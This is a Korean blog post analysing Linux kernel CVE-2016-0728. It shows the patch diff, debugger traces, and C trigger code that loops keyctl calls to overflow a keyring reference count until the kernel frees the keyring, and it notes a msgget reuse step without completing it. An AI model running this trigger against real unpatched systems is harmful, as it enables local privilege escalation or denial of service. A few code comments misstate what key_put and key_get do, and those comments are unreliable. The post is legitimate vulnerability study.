Security/1-Day

 리눅스 커널에 대한 예제 문제들을 풀어본 이후에 이제는 리눅스 커널 익스플로잇에 대해서 케이스 스터디를 하기 위해 1-Day취약점을 분석하기로 결정했는데


가장 처음 선택한 취약점은 이녀석이다.


https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0728


일단 취약점 정보는 다음과 같다.


The join_session_keyring function in security/keys/process_keys.c in the Linux kernel before 4.4.1 mishandles object references in a certain error case, which allows local users to gain privileges or cause a denial of service (integer overflow and use-after-free) via crafted keyctl commands.


유형이 Integer Overflow와 Use-After-Free라고 하는데, 분석해보니 사실상 Integer Overflow 취약점이다. 이를 익스플로잇하는 과정이 Use-After-Free 취약점에 속한다.


우선 keyctl이라는 커맨드에 취약점이 존재한다고 하는데, 리눅스 커널은 4.4.1 버전 이전에서 취약점이 발생한다고 한다.

나는 리눅스 커널 3.18.1 버전을 택했다.


우선 keyctl에 대해서 간략하게 정리한 내용을 살펴보면..


https://www.ibm.com/developerworks/library/l-key-retention/index.html


여기에 내용이 잘 정리되어 있다.

대략적으로 요약하면, keyctl은 리눅스의 키(Key) 보유 및 관리를 총괄하는 시스템이다.


사실 우리가 구체적으로 리눅스의 keyring 시스템에 대해서 알 이유는 없긴하다.. 하지만 내 경우엔 시간을 내서 저 문서를 전부 읽어보았으니 한번 읽어보는 것도 좋다고 생각한다.


그리고 취약점이 발생하는 함수는 join_session_keyring이라는 함수이며 이는 security/keys/process_keys.c에 위치한다고 한다.


직접 한번 확인해보도록 하자.

우선 취약점이 패치되지 않은 함수이다.


long join_session_keyring(const char *name)
{
	const struct cred *old;
	struct cred *new;
	struct key *keyring;
	long ret, serial;

	new = prepare_creds();
	if (!new)
		return -ENOMEM;
	old = current_cred();

	/* if no name is provided, install an anonymous keyring */
	if (!name) {
		ret = install_session_keyring_to_cred(new, NULL);
		if (ret < 0)
			goto error;

		serial = new->session_keyring->serial;
		ret = commit_creds(new);
		if (ret == 0)
			ret = serial;
		goto okay;
	}

	/* allow the user to join or create a named keyring */
	mutex_lock(&key_session_mutex);

	/* look for an existing keyring of this name */
	keyring = find_keyring_by_name(name, false);
	if (PTR_ERR(keyring) == -ENOKEY) {
		/* not found - try and create a new one */
		keyring = keyring_alloc(
			name, old->uid, old->gid, old,
			KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
			KEY_ALLOC_IN_QUOTA, NULL);
		if (IS_ERR(keyring)) {
			ret = PTR_ERR(keyring);
			goto error2;
		}
	} else if (IS_ERR(keyring)) {
		ret = PTR_ERR(keyring);
		goto error2;
	} else if (keyring == new->session_keyring) {
		ret = 0;
		goto error2;
	}

	/* we've got a keyring - now to install it */
	ret = install_session_keyring_to_cred(new, keyring);
	if (ret < 0)
		goto error2;

	commit_creds(new);
	mutex_unlock(&key_session_mutex);

	ret = keyring->serial;
	key_put(keyring);
okay:
	return ret;

error2:
	mutex_unlock(&key_session_mutex);
error:
	abort_creds(new);
	return ret; 

} 


그리고 취약점이 패치된 함수이다.


long join_session_keyring(const char *name)
{
	const struct cred *old;
	struct cred *new;
	struct key *keyring;
	long ret, serial;

	new = prepare_creds();
	if (!new)
		return -ENOMEM;
	old = current_cred();

	/* if no name is provided, install an anonymous keyring */
	if (!name) {
		ret = install_session_keyring_to_cred(new, NULL);
		if (ret < 0)
			goto error;

		serial = new->session_keyring->serial;
		ret = commit_creds(new);
		if (ret == 0)
			ret = serial;
		goto okay;
	}

	/* allow the user to join or create a named keyring */
	mutex_lock(&key_session_mutex);

	/* look for an existing keyring of this name */
	keyring = find_keyring_by_name(name, false);
	if (PTR_ERR(keyring) == -ENOKEY) {
		/* not found - try and create a new one */
		keyring = keyring_alloc(
			name, old->uid, old->gid, old,
			KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
			KEY_ALLOC_IN_QUOTA, NULL);
		if (IS_ERR(keyring)) {
			ret = PTR_ERR(keyring);
			goto error2;
		}
	} else if (IS_ERR(keyring)) {
		ret = PTR_ERR(keyring);
		goto error2;
	} else if (keyring == new->session_keyring) {
		key_put(keyring);
		ret = 0;
		goto error2;
	}

	/* we've got a keyring - now to install it */
	ret = install_session_keyring_to_cred(new, keyring);
	if (ret < 0)
		goto error2;

	commit_creds(new);
	mutex_unlock(&key_session_mutex);

	ret = keyring->serial;
	key_put(keyring);
okay:
	return ret;

error2:
	mutex_unlock(&key_session_mutex);
error:
	abort_creds(new);
	return ret; 

} 


크게 달라진 점은, 다음 부분이다.




마지막에 위치한 else if 구문에서 key_put(keyring)이라는 코드가 추가되었다.

이 코드는 keyring의 reference counter를 감소시키는 코드로, key_get()은 반대로 reference counter를 감소시키는 함수이다.


여기서 Reference가 뭐냐고?


이전에도 다루기는 했는데, 기본적으로 리눅스 커널의 레퍼런스 카운터는 kref 구조체에서 정의된다.


struct kref {
	atomic_t refcount; 

}; 



kref의 refcount는 atomic_t 타입의 변수인데, 이는 실제로 이 포인터 (오브젝트)를 참조하고 있는 함수나 클래스가 몇이나 되는지에 대한 일종의 표기법인데


만일 이 값이 0이 되어 더이상 사용되지 않는 메모리가 된다면, 해당 포인터를 리눅스의 GC (Garbage Colllector)가 잡아 해제시키는 작업을 수행한다.


그럼 이제 저 코드들을 한줄씩 해석해보자.

직접 주석을 달면서 설명하도록 하겠다.


long join_session_keyring(const char *name)

{

const struct cred *old;

struct cred *new;

struct key *keyring;

long ret, serial;


new = prepare_creds(); // new cred

if (!new)

return -ENOMEM;

old = current_cred(); // old cred


/* if no name is provided, install an anonymous keyring */

if (!name) {

ret = install_session_keyring_to_cred(new, NULL);

if (ret < 0)

goto error;


serial = new->session_keyring->serial;

ret = commit_creds(new);

if (ret == 0)

ret = serial;

goto okay;

}


/* allow the user to join or create a named keyring */

mutex_lock(&key_session_mutex);


/* look for an existing keyring of this name */

keyring = find_keyring_by_name(name, false);

if (PTR_ERR(keyring) == -ENOKEY) { // 만약 name에 해당하는 keyring이 없다면

/* not found - try and create a new one */

keyring = keyring_alloc( // 새로 할당한다.

name, old->uid, old->gid, old,

KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,

KEY_ALLOC_IN_QUOTA, NULL);

if (IS_ERR(keyring)) {

ret = PTR_ERR(keyring);

goto error2;

}

} else if (IS_ERR(keyring)) { // 만일 존재하기는 하는데 해당 keyring이 정상적이지 않은 데이터일 경우 에러를 리턴한다.

ret = PTR_ERR(keyring);

goto error2;

} else if (keyring == new->session_keyring) { // key가 존재하지만 keyring이 새로운 session_keyring과 같다면

ret = 0;

goto error2; // error2로 점프한다.

}


/* we've got a keyring - now to install it */

ret = install_session_keyring_to_cred(new, keyring); // 새로운 session_keyring을 등록한다.

if (ret < 0)

goto error2;


commit_creds(new);

mutex_unlock(&key_session_mutex); // 뮤텍스를 해제한다. (동기화 해제)


ret = keyring->serial; // 생성된 새로운 serial을 리턴값에 넣는다.

key_put(keyring); // keyring에 대한 레퍼런스 카운터를 증가시킨다. (kref)

okay:

return ret;


error2:

mutex_unlock(&key_session_mutex);

error:

abort_creds(new);

return ret;

} 


여기서 보면 알겠지만 전체적인 흐름은


1. join_session_keyring 함수가 불린 순간 현재 검색하는 key가 keyring 리스트에 존재하는지 순회하며 찾는다.

2. 존재한다면 별다른 수행없이 종료하고, 만일 존재하지 않는다면 새로 할당을 수행한다.


이 두가지 흐름 정도로 요약할 수 있겠다.


우리의 목적은 취약점이 패치되지 않은 해당 코드를 트리거 시키는 것이다.

그럼 트리거 코드를 작성해보도록 하자.


우선 해당 코드에 접근하기 이전에, session_keyring이 뭘 의미하는 필드인지 알 필요가 있으니 직접 new라는 값의 타입인 cred 구조체의 원형을 보자.


/*
 * The security context of a task
 *
 * The parts of the context break down into two categories:
 *
 *  (1) The objective context of a task.  These parts are used when some other
 *	task is attempting to affect this one.
 *
 *  (2) The subjective context.  These details are used when the task is acting
 *	upon another object, be that a file, a task, a key or whatever.
 *
 * Note that some members of this structure belong to both categories - the
 * LSM security pointer for instance.
 *
 * A task has two security pointers.  task->real_cred points to the objective
 * context that defines that task's actual details.  The objective part of this
 * context is used whenever that task is acted upon.
 *
 * task->cred points to the subjective context that defines the details of how
 * that task is going to act upon another object.  This may be overridden
 * temporarily to point to another security context, but normally points to the
 * same context as task->real_cred.
 */
struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	struct rcu_head	rcu;		/* RCU deletion hook */ 

}; 


session_keyring은 아무래도 새로 생성된 SESSION에 대한 keyring을 의미하는 모양이다.

그럼 다음과 같이 코드를 작성해보면



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
#include <keyutils.h>

int main()
{
        key_serial_t serial;

        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
        keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL);

        keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
        return 0;
}


실제로 커널 디버깅을 하면서 내가 원하는 위치에 진입을 하는지 확인해보도록 하겠다.




일단 find_keyring_by_name을 통해서 keyring이 존재하는지 확인하는 과정을 거치는데


(gdb) ni

PTR_ERR (ptr=<optimized out>) at include/linux/err.h:30

30 return (long) ptr;

(gdb) 

join_session_keyring (name=0xf6bca6f0 "TestSession")

    at security/keys/process_keys.c:783

783 if (PTR_ERR(keyring) == -ENOKEY) {

(gdb) 

793 } else if (IS_ERR(keyring)) {

(gdb) 

0xc1249c16 793 } else if (IS_ERR(keyring)) {

(gdb) 

796 } else if (keyring == new->session_keyring) {

(gdb) x/10i $pc

=> 0xc1249c18 <join_session_keyring+88>: cmp    eax,DWORD PTR [ebx+0x4c]

   0xc1249c1b <join_session_keyring+91>:

    je     0xc1249ce0 <join_session_keyring+288>

   0xc1249c21 <join_session_keyring+97>: mov    edx,ecx

   0xc1249c23 <join_session_keyring+99>: mov    eax,ebx

   0xc1249c25 <join_session_keyring+101>: mov    DWORD PTR [ebp-0x10],ecx

   0xc1249c28 <join_session_keyring+104>:

    call   0xc12498a0 <install_session_keyring_to_cred>

   0xc1249c2d <join_session_keyring+109>: test   eax,eax

   0xc1249c2f <join_session_keyring+111>: mov    edi,eax

   0xc1249c31 <join_session_keyring+113>:

    jns    0xc1249c50 <join_session_keyring+144>

   0xc1249c33 <join_session_keyring+115>: mov    eax,0xc1a03bd8

(gdb) ni

0xc1249c1b 796 } else if (keyring == new->session_keyring) {

(gdb) 

797 ret = 0;

(gdb)  


우리가 원하는대로 session_keyring에 참조하는 코드로 진입을 한다!

그럼 이 코드가 실행이 되고 나서 실제로 keyring에 대한 reference count가 어떻게 되는지 직접 확인해볼 필요가 있는데


이 keyring에 대한 정보는 /proc/keys에 저장이 되어있다고 하니, 다음과 같이 코드를 추가하고 다시 실행해보자.



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <keyutils.h>

int main()
{
        key_serial_t serial;

        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
        keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL);

        keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
        system("cat /proc/keys");

        return 0;
}


victim@debugging-machine:/root/session_test$ ./key_test

0b824895 I--Q---     8 perm 3f3f0000  1000  1000 keyring   TestSession: empty

victim@debugging-machine:/root/session_test$ ./key_test

0b824895 I--Q---     9 perm 3f3f0000  1000  1000 keyring   TestSession: empty

victim@debugging-machine:/root/session_test$ ./key_test

0b824895 I--Q---    10 perm 3f3f0000  1000  1000 keyring   TestSession: empty

victim@debugging-machine:/root/session_test$  


매 실행마다 keyring이 올라가는 것을 볼 수 있다.

그렇다면 여기서 존재하는 취약점은 왜 Integer Overflow라고 하는 것일까?


그 이유는 kref의 정의를 다시 보면 알 수 있다.


typedef struct {
	int counter; 

} atomic_t; 



kref의 atomic_t 타입은, 사실상 int타입이다.

그렇기 때문에 우리가 0xffffffff번 만큼 실행을 시킨다면 이 reference counter를 0으로 초기화시키는 것도 가능해진다.

한번 직접 해보도록 하자.



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>
#include <keyutils.h>

int main()
{
        int i;
        key_serial_t serial;

        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
        keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL);

        for(i = 0; i < 0xffffffff; i++)
        {
                keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
        }
        system("cat /proc/keys");

        return 0;
}


물론 반복횟수가 저만큼 되니까 시간이 좀 걸리기는 하지만 직접 실행해놓고 결과를 기다려보자.


일단 나도 이걸 작성하면서 익스플로잇을 하는 상태라.. 너무 오래걸리고 시간도 늦었겠다, 일단 켜놓고 자야겠다. 켜놓고 자고 일어나면 알아서 다 되어있겠지...


------


자고 일어나서 확인해보니 다음과 같은 결과를 볼 수 있었다.


victim@debugging-machine:/root/victim$ ./key_test

0

268435456

536870912

805306368

1073741824

1342177280

1610612736

1879048192

-2147483648

-1879048192

-1610612736

-1342177280

-1073741824

-805306368

-536870912

-268435456

0e9553ee I--Q---     4 perm 3f3f0000  1000  1000 keyring   TestSession: empty

victim@debugging-machine:/root/victim$ ls

key_test  key_test.c  test  test.c

victim@debugging-machine:/root/victim$ cat /proc/keys

victim@debugging-machine:/root/victim$  


0xffffffff번 실행시킨 결과인데, cat /proc/keys를 해도 아무것도 나오지 않는다. 그 이야기는 이를 Garbage Collector가 잡아서 0번의 참조를 가진 녀석을 해제해줬기 때문이다.

그럼 이제 여기서 어떻게 해야할까?


우리는 이제 사실상 해제된 keyring이 아니라는 것을 알고 있지만, 리눅스 커널에서는 이를 해제된 메모리로 생각한다.

그렇기 때문에 우리는 이 해제된 메모리에 다시 재할당을 하는 것으로 Use-After-Free 취약점을 트리거 할 수 있다.


그럼 여기서 어떻게 재할당을 해야할까?

우리는 이를 공략하기 위해서 msgget 트릭을 사용할 수 있는데, 실제로 다양한 Integer Overflow, Use-After-Free 취약점 등에 활용되는 리눅스 커널 익스플로잇 방법론이라고 한다.


근데 이 취약점은.. 너무 Integer Overflow를 트리거하기 위한 시간이 너무 오래걸린다.

여기까지만 작성하고 다른 취약점을 분석해봐야겠다.

'Security > 1-Day' 카테고리의 다른 글

[Linux Kernel] CVE-2016-0728  (0) 2018.08.12
0 0